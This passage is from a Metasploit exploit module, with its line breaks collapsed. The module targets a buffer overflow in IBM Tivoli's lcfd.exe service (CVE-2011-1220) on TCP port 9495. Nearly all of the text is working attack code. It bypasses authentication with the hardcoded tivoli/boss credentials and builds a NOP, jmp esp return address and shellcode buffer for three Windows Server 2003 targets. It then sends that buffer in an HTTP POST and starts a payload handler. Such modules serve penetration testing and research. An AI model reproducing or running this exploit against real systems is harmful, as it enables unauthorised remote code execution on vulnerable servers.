This issue can be triggered by sending a specially crafted HTTP POST request to the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization is required. This exploit makes use of a second vulnerability, a hardcoded account (tivoli/boss) is used to bypass the authorization restriction. }, 'Author' => [ 'bannedit', # metasploit module 'Jeremy Brown <0xjbrown[at]gmail.com>', # original public exploit ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12925 $', 'References' => [ [ 'CVE', '2011-1220'], [ 'OSVDB', '72713'], # buffer overflow [ 'OSVDB', '72751'], # hardcoded account [ 'BID', '48049'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-169/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0d\x0a", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows Server 2003 SP0', { 'Ret' => 0x77d80787 }], # user32.dll - jmp esp ['Windows Server 2003 SP1', { 'Ret' => 0x77403680 }], # user32.dll - jmp esp ['Windows Server 2003 SP2', { 'Ret' => 0x77402680 }], # user32.dll - jmp esp ], 'DisclosureDate' => 'May 31 2011')) register_options( [ Opt::RPORT(9495), ], self.class ) end def exploit print_status("Trying target #{target.name}...") auth = Rex::Text.encode_base64("tivoli:boss") varname = rand_text_alpha(rand(10)) sploit = make_nops(1) * 256 sploit << [target.ret].pack('V') sploit << payload.encoded print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ 'uri' => '/addr', 'method' => 'POST', 'headers' => { 'Authorization' => "Basic #{auth}" }, 'vars_post' => { varname => sploit, }, }, 5) handler end end |
